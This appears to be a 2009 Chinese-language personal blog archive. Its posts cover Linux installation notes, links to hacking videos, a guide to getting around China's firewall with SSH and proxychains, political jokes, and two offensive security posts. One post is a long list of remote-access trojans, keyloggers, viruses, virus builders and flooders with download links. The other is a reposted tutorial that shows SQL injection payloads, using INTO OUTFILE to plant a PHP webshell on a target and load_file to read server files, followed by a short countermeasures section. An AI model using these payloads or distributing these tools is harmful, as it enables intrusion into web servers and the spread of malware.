在 Windows 下用 wubi 安装，重启后可能掉进 grub> 提示符，无法继续安装。该 bug 来自上游，非 LinuxDeepin
独创。建议刻盘安装。

----软件包更新问题
系统可能会报错"E:无法打开文件 /var/cache/apt/srcpkgcache.bin - open (13: permission
denied)，E: 无法解析或打开软件包的列表或是状态文件"。

提交 Bug
由于深度论坛尚未重新开放，提交 bug 请到百度贴吧：
http://tieba.baidu.com/f?kz=675719028

2009年11月29日星期日

a simple python xmlrpc shell

Just a simple py script

but xmlrpclib don't supourt gbk (shit!)

causing me busy for half a day

2009年11月23日星期一

Some hack video site!

Some hack video site!
have fun!

http://www.milw0rm.com/video/watch.php?id=32
http://www.securitytube.net
http://www.irongeek.com/
http://www.forcehacker.kit.net/videos.html

Some hack video site!
have fun!

http://www.milw0rm.com/video/watch.php?id=32
http://www.securitytube.net
http://www.irongeek.com/
http://www.forcehacker.kit.net/videos.html

Openbsd 4.5 Install Video

It's so simple than other os(ex:linux or other shit!)

http://p.you.video.sina.com.cn/player/outer_player.swf?auto=1&vid=25516031&uid=436987

2009年11月9日星期一

为什么说兴趣永远是最好的老师？

winger 通过 Google 阅读器发送给您的内容：

为什么说兴趣永远是最好的老师？

于 09-11-7 通过 Planet Chinese Security Community 作者：flashsky@planet.ph4nt0m.org(flashsky)

先引2篇相关的BLOG

http://hi.baidu.com/aullik5/blog/item/f442d2127f5e12085aaf53a6.html ，大风关于招聘发出的一些感想

http://hi.baidu.com/mj0011/blog/item/d529e31f6fbee569f724e456.html，MJ谈自己对抗MD的一些事，谈到了他在这方面超过1万小时的学习和积累。

任何人的能力和成功，都需要长时间的积累，天才在这

阅读全文
类别：默认分类查看评论

可从此处完成的操作：

使用 Google 阅读器订阅Planet Chinese Security Community
开始使用 Google 阅读器，轻松地与您喜爱的所有网站保持同步更新

2009年11月5日星期四

国外黑客工具包 hack tools kit

Ultimate Hacking Experience 2008
Yuri RAT v1.2
MofoTro v1.7 BETA
Charon
Beast v2.0.7
Omerta v1.3
Theef v2.10
Combined Forces R.A.T
MoSucker v3.0
ProRat v1.9 Fix2
Binders
Daemon Crypt Public v2
NT Packer v2.1
EES binder v1.0
File Injector v3
Bytes Adder
FreshBind v2.01
YAB v2.01
NakedBind v1.0
Amok Joiner
Viruses
Hippi virus
Sasser
W32. Blaster .Worm
Midnight Massacre
00001
Nimda
Loveletter virus
Happy '99
MXZ
MSN Hacks & Bots
HoaX Toolbox 1.1
MSN Extreme 3.0
MessenPass v1.06
Advanced Blood Scroller
Nudge Madness
Advanced Instant Messengers Password Recovery
Contact Spy
Msn Explosion
Encrypted Messenger
Nukers And Flooders
Rocket v1.0
RPCNuke v1.0
Panther Mode1 - 56k
Panther Mode2 - ISDN +
Final Fortune v2.4
Battle Pong - Technophoria
Assault v1.0
ICMP Nuker
CLICK v2.2
Brute Forcers
Munga Bunga 's Official
Brutus - Authentication Engine Test 2
wwwHack v1.946
FTP Brute Hacker
FTP Brute Forcer.tar.gz - Unix
Wbrute.tar.gz - Unix
Shadow Scanner-Brute Forcer
Hackers Utility v1.5
POP3 brute forcer.tar.gz - Unix
Keyloggers
Elite Keylogger v1.0
SKL v0.1
KeySpy v2.0
A++++
Curiosity
Keylogger
KeyCopy
CGI-Bug Scanners
NStealth HTTP Security Scanner v5.8
Attack Toolkit v4.1 & source code included
Scanarator
Legion NetBios Scanner v2.1
NetView v1.0
CGI Vulnerability Scan
CGI Scanner v4.0
VoidEye CGI scanner
Virus Builders
DR VBS
VBSwg 2 beta - Virus builder
p0ke's WormGen 2.0
RESIDUO - DoS Virus
Port & IP Scanners
Blues Port Scanner
ProPort v2.2
SuperScan v3.0
Net Scan Tools v4.2
LanSpy v2.0
Bitchin Threads v3.1
Trojan Hunter v1.5
SuperScan v4.0
Neotrace PRO v3.25 trial&crackhttp://rs292.rapidshare.com/files/
100985621/UltimateHacking2008.rar.rar
http://bbs.tian6.com/down/foreintool.rar
but the address have more:
http://www.rapidshare1.com/ddl10/byte%20adder/
happy share
http://rs167.rapidshare.com/files/56809481/HACKERStOLLkITsUITE.RAR
more tool from here:http://www.clone-zone.net/hacking-cracking-
exploiting-tools/

Ubuntu 下爬“长城”之终极篇

作者：彭嘉佑来源：歪歪灰主流

刚刚看到这篇文章准备给 Ubuntu 9.10 开机速度提速的时候，添加了文中提到的
PPA 并执行 sudo apt-get dist-upgrade 之后却发现 LaunchPad 的服务器太慢
了，按照那个蜗牛般的速度，我一个小时也安装不了 ureadahead ，既浪费时
间，还无辜消耗生命，正好我有可利用的资源，可以加速 LaunchPad 在国内的下
载速度，当然，顺便把我所知道的 Ubuntu/Linux 下爬“长城”的终极大法全部总结
出来！

Ubuntu 下目前效率最高，最稳定，速度最快，最简单的爬“长城”的方法莫过于
SSH 端口转发和 VPN (分 PPTP 和OpenVPN 两种方式)了，本文将逐一介绍，最终
目的是绕道加速国外某些网站/服务器的下载速度，并顺便搞定你正常方式打不开
的那些网站，以获取 Linux 资讯网站 Tuxmachines 上介绍的 Blogspot 等网站上
的重要 Linux 学习资源。

Ubuntu 下使用 SSH 实现端口转发绕道访问目标服务器

一般的 Linux 系统都自带 SSH 的客户端工具 openssh-clients，无须安装其它的
客户端（Windows 下需要 PuTTY 或者 SecureCRT 或者 MyEnTunnel 等工具）就
可以通过 SSH 端口转发来实现爬“长城”的目的！只需要一个命令连接上 SSH 服务
器，然后通过本地端口转发，就可以实现 Firefox 浏览器通过SSH 加密隧道连接
上远程 SSH 服务器，然后通过这个服务器再访问整个互联网。

ssh -qTfnN -D 7070 usern...@sshserver.com

这个命令里面，其中 7070 是要建立加密隧道的本地一个未占用的端
口，usern...@sshserver.com 分别指代你的 SSH 服务器的用户名和密码。

在终端中输入这个命令，回车，然后输入密码，即可建立 SSH 端口转发了。这个
命令的好处是即使你关闭了终端窗口，ssh 仍然会在后台运行，成功建立了一个
ssh 加密代理后，设置你的 FireFox 浏览器的 socks 代理服务器为 127.0.0.1
端口为 7070 即可绕道访问正常情况下打不开的目标网址了。

依次点击 Firefox 浏览器菜单栏的“编辑”/首选项，切换到“高级”选项卡，在切换
到“网络”子选项卡，点击配置 Firefox 如何连接到英特网后面的“设置”按钮

选择“手动配置代理”，然后设置 Socks 的代理服务器为 127.0.0.1:7070 即可。
如上图。现在试试 http://pengjiayou.blogspot.com 是否能够正常打开了呢？

使用 expect 防止 sshgfw 代理断线

使用 ssh 端口转发来访问正常情况下打不开的网站，要保证绕道经过 ssh 代理服
务器后，ssh 服务器能访问到你需要访问的目标网站，因此你需要一个开启 ssh
端口转发的非中国大陆境内的服务器，一般来说，你可以通过购买国外的主机或
者 VPS 服务器获得，我在这里推荐 Bluehost 和 VPSlink 主机，前者是虚拟主
机，后者是 VPS 提供商，两者都非常稳定，而且速度快！

用 ssh -D 代理后，你就再也不用为点击某个链接被重置的情况烦恼啦。在
Linux 中使用 ssh -D 连接代理服务器时过一段时间总会断线，于是有人用
expect 写了一个脚本，不担可以防上 ssh 断线，还可以自动输入密码。首先你需
要在 Ubuntu 9.10 下安装 Expect

sudo apt-get install expect

安装完 Expect 之后，用 Gedit 新建一个文件，命名为 fuckgfw ，并将其保存
在 /home/username 目录下

#!/usr/bin/expect
set timeout 60

spawn /usr/bin/ssh -D 7070 -g u...@yourserver.com
# 这里的 user 为你自己的用户名，yourserver.com 为你自己的服务器域名或 ip
expect {
“password:” {
send “password\r”
#这里的 password 改为你自己的密码
}
}

interact {
timeout 60 { send ” “}

}

如下图所示

给 fuckgfw 文件添加可执行权限 chmod a+x fuckgfw ，然后每次在链接被重置之
后执行 ./fuckgfw 就可以建立 ssh 机密隧道。

同样按照上面提到的方法，更改 Firefox 的 socks 代理服务器为
127.0.0.1:7070 ，就可以使用 Firefox 打开刚刚连接被重置的网页了。

安装并设置 Firefox 的 AutoProxy 插件

通过上述方法，你就可以打开正常情况下打不开的网页了，但是，将 Firefox 的
socks 代理设置好了以后，所有网页，不分国内国外，也不管正常情况下能不能正
常打开的国外网页一律通过 ssh 绕道访问了，由于我们大多数情况下访问的都是
中国大陆地区的网页，所以通过 ssh 服务器间接访问之后速度会比较慢，而
且，频繁更改 Firefox 的 socks 代理也是件让人头大的事情，在这种情况下，你
需要 AutoProxy 代理来帮忙。

首先，点击这里 https://addons.mozilla.org/zh-CN/firefox/addon/46823 安
装 Autoproxy 插件。

点击 “添加到 Firefox” ，出现上图所示的对话框，点击立即安装，安装成功后
后，重新启动Firefox。然后你会看到如下对话框，选择gfwlist
(P.R.China)后，点击确定。

接着你会看到Firefox主界面右上角出现有一个“福”字图案，点击“福”。

点击“代理服务器——编辑代理服务器”。

随即出现如下画面，你会看到如GAppProxy、Tor和Your Freedom这样一系列代理服
务器名称。

将GAppProxy一栏的参数修改为如下图所示。

修改完毕后，点击确定。回到上图所示的 AutoProxy 首选项，点击“选择代理服务
器”，选择 fuckGFW 。

至此，AutoProxy 配置完毕。接下来，你可以无时无刻启用 AutoProxy 插件，启
动之后福字是红色的。同时在需要代理的时候执行 ./fuckgfw 命令，遇到链接
被重置的网页之后，添加一个规则，刷新 Firefox 即可。

点击“代理规则”，然后“增加规则”，然后输入目标网址，然后刷新 Firefox 即可
打开。

给 LaunchPad 下载加速

好了，基础知识讲完了，回到本篇文章的最主要的目的上来，那就是给
LaunchPad 安装软件加速。点击系统/首选项/网络代理也添加一个 socks 代理
为 127.0.0.1:7070 的代理服务器。

这样，你就启用了 Gnome 全局 ssh 代理，通过 ssh 代理绕道下载 LaunchPad 上
面的软件（即 ppa 软件源），下载的速度几乎完全取决于你的电脑和 ssh 服务器
的数据传输速度，因此速度应该会提升不少，不用安装个软件要几个小时的等了。

使用 proxychains 让所有软件在 Linux 下爬“长城”

使用上面提到的办法，要么只能是 Firefox 能顺利爬“长城”，要么就是全部软件
都爬长城了，一个在华留学的英国人介绍了一个这个 proxychains 软件，可以允
许你在打开 ssh 端口转发的情况下让任何特定软件爬墙。首先安装 proxychains

sudo apt-get install proxychains

接着修改 proxychains 的配置文件 (sudo gedit /etc/proxychains.conf)，我的
配置文件如下：

# proxychains.conf VER 3.1
#
# HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#

# The option below identifies how the ProxyList is treated.
# only one option should be uncommented at time,
# otherwise the last appearing option will be accepted
#
dynamic_chain
#
# Dynamic – Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# at least one proxy must be online to play in chain
# (dead proxies are skipped)
# otherwise EINTR is returned to the app
#
#strict_chain
#
# Strict – Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# all proxies must be online to play in chain
# otherwise EINTR is returned to the app
#
#random_chain
#
# Random – Each connection will be done via random proxy
# (or proxy chain, see chain_len) from the list.
# this option is good to test your IDS

# Make sense only if random_chain
#chain_len = 2

# Quiet mode (no output from library)
#quiet_mode

# Proxy DNS requests – no leak for DNS data
proxy_dns

# Some timeouts in milliseconds
tcp_read_time_out 15000
tcp_connect_time_out 8000

# ProxyList format
# type host port [user pass]
# (values separated by ‘tab’ or ‘blank’)
#
#
# Examples:
#
# socks5 192.168.67.78 1080 lamer secret
# http 192.168.89.3 8080 justu hidden
# socks4 192.168.1.49 1080
# http 192.168.39.93 8080
#
#
# proxy types: http, socks4, socks5
# ( auth types supported: “basic”-http “user/pass”-socks )
#
[ProxyList]
# add proxy here …
# meanwile
# defaults set to “tor”
socks5 127.0.0.1 7070

保存，然后执行命令 “proxychains 你的软件 &” 比如 “proxychains
google-chrome &” 就可以用 Google Chrome 打开 Blogspot 了。

执行命令： proxychains google-chrome &

Google Chrome 浏览器会自动打开，你可以用 Google Chrome 打开 Blogspot 了

当然，你可以 sudo apt-get install twitux 安装 Tuitux 客户端，在没有可用
的支持 Twitter API Proxy 的情况下，你就可以上推特了。

搞定 Network Manager 下的 PPTP VPN 连接

我在 VPSLink 的 vps 服务器上搭建了一个 PPTP VPN 服务器，不用一下简直浪费
了，好吧，写一下教程先。要使用 Network Manager 链接 pptp vpn 服务器，你
需要安装 network-manager-pptp

sudo apt-get install network-manager-pptp
sudo apt-get install network-manager-vpnc

然后，打开系统/首选项/网络链接，切换至 VPN 选项卡

点击添加，选择点对点隧道协议 PPTP

按下图输入 pptp 服务器的用户名和密码

点击高级

勾选使用点到点加密和允许有状态的加密两项，确定，返回到刚才的对话框，应
用并关闭，然后点击网络管理器的图标的下拉菜单，选择 VPN 连接，VPSlink 即
可。

PPTP 链接成功之后，简单的可以理解为你的及其开了 ssh 代理并启用了 Gnome
全局代理，同样可以快速安装 LaunchPad 上面的软件了。

写这篇文章来来回回折腾了好几个小时，代价是今天没有上班，如果发现其中的错
误，请留言指正，谢谢！

为了博客的安全，请不要传播我的博客链接，而是大肆传播此 PDF 文件（如果你
认为有必要）
http://fedora-zh.googlecode.com/files/The%20Ultimate%20Guide%20to%20Bypass%20the%20Greatwall%20under%20Ubuntu.pdf
谢谢

2009年10月23日星期五

IIS写权限漏洞原理利用工具手动版 IIS write permission vulnerability

无法查看这则摘要。请点击此处查看博文。

话糙理不糙做人真好思想有多远就折腾多远

有些人，话糙理不糙；有些人，话不糙人有些人，话糙理不糙；有些人，话不糙人糙

啥时候国产电影里一口一口的逼，就跟美国片里一口一口的fuck那样，就说明咱们自由了。

梁丽婉因房子被强拆而上访，当地政府想收买她，对她说：“你去拆迁办上班，一年也能弄几十万。”梁梁丽婉说：“这是断子绝孙的工作，我就是讨饭也不做这种工作。”

悲剧是你被操了，喜剧是你还买单。

希特勒曾经对戈培尔说：“不需要让青少年有判断力和批判力。给他们摩托车、明星、刺激音乐和流行服饰就够了。剥夺思考，根植对命令的服从心才是上策。”

娱乐

当年周迅说，我非大齐不嫁；当年刘烨说，我非谢娜不娶。我现在只能祝福一下孙俪和邓超了。

到处MJ的报道。个人比较喜欢南方人物周刊的标题：“半个世纪的孤独”。

两性

情侣是不怕热的，大夏天也可以紧紧抱在一起在床上滚来滚去，这使我明白了热恋的真正的含义。

当一个城市与这个城市的女人风格一致或相似时，要么这个城市美到极致，要么这个城市不可救药。

每个女孩都希望自己的人生能像韩国电视剧，自己就是韩剧女主角。但事实是，除了那些得绝症的不幸会吻合，其他时候都是国产大片——贫嘴张大民的幸福生活。

所谓爱情，就是找到一个能进行满意性交的挚友，与其共同享受肉体交流和思想交流所带来的快感。

《绝望的主妇》第一集就有这样的台词：“男人勃起的时候是没有道德可言的。”

女人要成长，要先爱上一个混蛋，然后吃过亏。然后才会明白人生不是偶像剧，而父母说太多的道理，比不上吃一个亏来得经验多。

社会

中国人的勇敢表现在：先上，不行再撤下来。改革开放、股市、互联网、任命官员、油价、球场换人无不遵循这一原则。

所有的崇拜、憎恨、喜、怒、哀、乐，都源于信息不对称，谁掌握了信息，谁就能操控情绪，操控人心。

我们有雪亮的眼睛却永远搞不明真相。你是侮辱我的眼睛还是侮辱我的智商？

街边儿的美女终于上了一辆宝马，于是我松了一口气，还好……这个世界还是正常的。

刚才和几个法律专业毕业但从事其他行业的同事闲聊故意杀人、过失杀人、故意伤害等等的区别，关于如何界定大家正讨论得不可开交的时候，真正的法务部同事恰巧经过，义正言辞斩钉截铁地说了一句：“那要看我党的意思！”然后扬长而去。瞧瞧！这就是业余和专业的差距所在！

看到成都把公交遇难人员定为凶手，上海方面非常羡慕，他们多么想说，那幢楼是被那个遇难工人推倒的。

人家有的是背景，我有的只是背影；人家有的是身份，我有的只是身份证。

和老婆解释了一下今年快女为什么那么差，这就是普选和人民代表大会制度的差距。

世界

面对百年一遇的经济危机，朝鲜最大宗出口商品导弹严重积压，带来极大存储成本，为去库存化，朝鲜决定不断向海上倾倒导弹，学习以美国为首的资本主义、帝国主义国家奶农倾倒牛奶，以平衡供需。

日本在性交方法这一领域做出了杰出的贡献，中国在死亡方式这一领域同样拥有不少匪夷所思的创造。

社会都是在不停变化的，君不见曾经的小泽玛利亚，现在也无码，内射了——金融危机的影响多大啊！

每年的独立日这一天，都有很多美国人自发的走上街头，唱歌跳舞，或看烟火，庆祝自己的节日，没有“组织”，没有“安排”，没有“强制”，是完全自愿的！若是有的国家用强制或收买的手段使国民庆祝节日，只能说明这个国家已经到了非常可悲的地步。

思想

有时候我们就像只宠物狗，在冲着社会狂哮的同时，脖子上还被拴着一根狗链。

有些人永远都比别人成熟，自宫后再拼命阉割别人。

人是很难和大便斗的，你踩它打它可它依然是大便，弄脏的是你。

“共产党万岁，我要积极向党组织靠拢！”——这话看似涉世未深，其实早已洞察世事。

《女人逢8岁》

女人8岁，你要编故事哄她睡，18岁你要编故事骗她和你睡，28岁不用故事就和你睡，38岁她会编故事骗你和她睡，48岁你要编故事不和她睡。

◎ 阿忆是头闯进央视这个瓷器店的大象。（连岳）

◎ 暗恋是一个人的奸情，暧昧是两个人的借口。（open任意门）

◎ 曾经我们是祖国的花朵，茁壮成长；如今我们是祖国的红杏，集体翻墙。（赖宝）

◎ 处女膜消失的时候还有疼痛感，而纯真丢失的时候你全然不知。（王小峰）

◎ 此消息已删除或不公开（aiweiwei）

◎ 从前有个绿爸，他知道所有的黄色网站。（拿铁匠）

◎ 对不起，您拨打的老公已外遇。（赖宝）

◎ 好的女秘书和很好的女秘书之间的区别是什么？早晨, 好的女秘书说, “早晨好!老板。” 很好的女秘书: “已经早晨了！老板。”（陈晓卿）

◎ 黑夜给我黑色的眼睛，我却用它寻找光明楼——求租光明楼两室一厅（大仙）

◎ 杰克逊走了，希望再投胎时，他能选择肤色，我们能选择祖国。（B.Kaoru）

◎ 路遥知马力不足，日久见人心叵测。（非非）

◎ 绿坝产自红墙。（东东枪）

◎ 面对外界批评质疑，周森锋要求媒体给他一个不受干扰的成长环境……这孩子说起话来怎么跟自己是麦当娜儿子似的。（DuFake）

◎ 拍死的是蚊子，流血的是老子！（张冠仁猴太岁）

◎ 人生五十如梦幻，岂有长生不死者（和菜头）

◎ 上黄网还用穿墙？不是有百度吗？（摸索你的灵魂）

◎ 食言有助减肥，只要不是荤话。（拿铁匠）

◎ 我以为春哥是李长春呢（梁文道）

◎ 悟空，快变成安全套，为师今天要亲自收拾这女妖精！（pizzzzz）

◎ 丫的！有种往人脑里安芯片啊！（fantasy.z）

◎ 用吃肥肉表示减肥的决心？用嫖娼以示贞洁？（莫之许）

◎ 用一块钱把版权卖给央视，成为娱乐头条；和一群IT精英做华山论剑，成为IT头条；在浙江大学担任博士生导师，成为教育头条；对往昔作品进行大量删改订正，成为文化头条；以八十之身前往剑桥大学读书，成为笑话头条……今天，金庸主动加入中国作家协会，天下大哗……金庸真是“头条大师”啊！（饭友+KAKA）

◎ 有毛的鸡蛋就叫猕猴桃（Bearis）

◎ 再牛逼的肖邦也弹不出我的忧伤，再傻逼的姑娘也不要对她张狂（肉加磨）

◎ 怎么才能设置禁止某个傻逼跟我说话？（罗永浩）

◎ 中南海有害身体健康。可我还是想抽它。（MissISSUE）

糙

2009年10月19日星期一

Backdoor webserver using MySQL SQL Injection

Backdoor webserver using MySQL SQL Injection

MySQL Database is a great product used by thousand of websites. Various web applications use MySQL as their default database. Some of these applications are written with security in mind, and some are not. In this article, I would like to show you how you can exploit SQL injection in order to gain almost full control over your webserver.

Most people know that SQL injection allows attackers to retrieve database records, pass login screens, change database content, through the creation of new administrative users. MySQL does not have a built-in command to execute shell commands, like Microsoft SQL server. I will show you how to run arbitrary commands using standard features provided by MySQL.

First of all, I would like to give a brief description of SQL injection, then I would like to present you with a couple less known methods that exist in MySQL, which I will use to backdoor a webserver. I will use 2 built-in MySQL commands - one that writes arbitrary files and the one that can be used to read arbitrary files. After that I will describe webshells and go to the attack itself.
What is SQL Injection?

SQL injection is an attack that allows the attacker to add logical expressions and additional commands to the existing SQL query. This attack can succeed whenever a user has submitted data that is not properly validated and is glued together with a legitimate SQL query.

For example, the following SQL command is used to validate user login requests:
$sql_query = "select * from users where user='$user' and password='$pass'"

If the user-submitted data is not properly validated, an attacker can exploit this query and pass the login screen by simply submitting specially crafter variables. For example, attacker can submit the following data as a $user variable: admin' or '1'='1 . When this $user variable is glued together with the query, it will look as followed:

$sql_query = "select * from users where user='admin' or '1'='1' and password='$pass'"

Now, the attacker can safely pass the login screen because or '1'='1' causes the query to always return a "true" value while ignoring the password value.

Using similar techniques, an attacker can retrieve database records, pass login screens, and change database contents, for example by creating new administrative users. In this document, I will show how by applying similar techniques, we will be able to execute arbitrary shell commands.
Command 1- Writing arbitrary files

MySQL has a built-in command that can be used to create and write system files. This command has the following format:

mysq> select "text" INTO OUTFILE "file.txt"

One big drawback of this command is that it can be appended to an existing query using UNION SQL token.

For example, it can be appended to the following query:
select user, password from user where user="admin" and password='123'

Resulting query:
select user, password from user where user="admin" and password='123' union
select "text",2 into outfile "/tmp/file.txt" -- '

As a result of the above command, the /tmp/file.txt file will be created including the query result.
Command 2- Reading arbitrary files

MySQL has a built-in command that can be used to read arbitrary files. The syntax is very simple. We will use this command for plan B.

mysql> select load_file("PATH_TO_FILE");
Webshell

Webshell is a polpular and widely used tool for executing shell commands from within the web browser. Some call these tools PHP shells. We will create a very simple webshell that will execute shell commands.

Here is the code of a very basic PHP shell (parameter passed by cmd will be executed):

For example, in the following screenshot, id command is executed.

Webshell - id command
Attack Scenario

1. Find SQL injection

It is out of the scope of this document. You must first find SQL injection.

2. Find a directory with write permission

To create a webshell PHP script, we need a directory with write permission on. Temporary directories used by popular Content Management Systems are a good choice for this. Check the following urls to find one:
hxxp://www.target.com/templates_compiled/
hxxp://www.target.com/templates_c/
hxxp://www.target.com/templates/
hxxp://www.target.com/temporary/
hxxp://www.target.com/images/
hxxp://www.target.com/cache/
hxxp://www.target.com/temp/
hxxp://www.target.com/files/

In our example we will use a temp directory.

3. Exploit SQL injection - create web shell

You need to append the following string to the legitimate SQL command:

UNION SELECT "",2,3,4 INTO OUTFILE "/var/www/html/temp/c.php" --

Some explanation:
2,3,4 are just a qualifier that used to make the same number of columns as in the first part of the select query.
/var/www/html is a default web directory in the RedHat-like distributions (Fedora, CentOS).
temp is a directory with full write access. In your case it could be a different directory.

The above command will write the query's result with the "" string appended. Because we added a php extension to the file name, this string will be treated as a PHP command and will allow us to execute shell commands!

4. Execute shell commands

Now it is the easiest part. Simply open the webserver to execute shell commands. In our example it will be:
hxxp://www.target.com/temp/c.php?cmd=SHELL_COMMAND

For example:
hxxp://www.target.com/temp/c.php?cmd=id
Plan B

In case you failed to create a PHP file due to a wrong path, there are a number of workarounds:

1. Generate PHP errors.

You need to create a situation when a PHP script will fail and the full disk path will be printed in the error message. You can play with page parameters to make this happen.

2. Find the file that will print phpinfo().

In some cases you will be lucky and you will get a phpinfo() function executed. This function prints a wealth of PHP internal information including the current directory location.

Try to access the following urls:
hxxp://www.target.com/phpinfo.php
hxxp://www.target.com/test.php
hxxp://www.target.com/info.php

3. Look for a default web directory location.

You need to get a default web directory location for a web server. Check the following page since it has a big list of default Apache configurations that are used in different distributions.
http://wiki.apache.org/httpd/DistrosDefaultLayout

4. Read the Apache configuration files.

MySQL has a built-in command that allows the attacker to read arbitrary files. We can exploit this command to read Apache configuration files and study directory structures. Simply use the load_file() MySQL function.

For example (SQL query after injection):
select user, password from user where user="admin123" and password='123' UNION select load_file("/etc/apache2/apache2.conf"), 2 -- '

Note:
You can find a location of Apache configurations at this resource:
http://wiki.apache.org/httpd/DistrosDefaultLayout
Limitation

In order to allow the above to work, the MySQL user used by this application must have a FILE permission. For example by default, a "root" user has this permission on. FILE is an administrative privilege that can only be granted globally (using ON *.* syntax).

For example, if the MySQL user was created using the following command, the user will have this FILE permission on.
GRANT ALL PERMISSIONS to *.* to 'USER_NAME'@'HOST_NAME' IDENTIFIED BY 'PASSWORD'
Countermeasures

1. Install the GreenSQL database firewall.

GreenSQL is an open source database firewall that can automatically block the commands described above: load_file and INTO OUTFILE. By default, GreenSQL blocks administrative and sensitive SQL commands. In addition, GreenSQL prevents SQL injections by calculating the risk of each query and blocking queries with high risk. For example , UNION token and SQL comments are taken into account. Check the application website for more information http://www.greensql.net/

2. Do not use MySQL root user to access the database.

Do not use administrative users to access the database. It is recommended to create a distinct user with hardened permissions to access specific databases.

3. Revoke FILE permission from the MySQL user used in your applications.

mysql> REVOKE FILE ON *.* from 'USER_NAME'@'HOST_NAME';

4. Application code review.

Ensure that your application does not have any SQL injections and that the code is updated.
Links

1. MySQL Injection Cheat Sheet
http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/

2. SQL Injection Cheat Sheet
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

3. MySQL Documentation
http://dev.mysql.com/doc/

2009年10月18日星期日

Big List Of Hacking Tools 2009 北美2009年黑客软件工具箱

2009年10月16日星期五

第一贴给我们的女神 ！！！！！！！！！！！

祝以后天天见美人哈哈！！！！！！！！

订阅：博文 (Atom)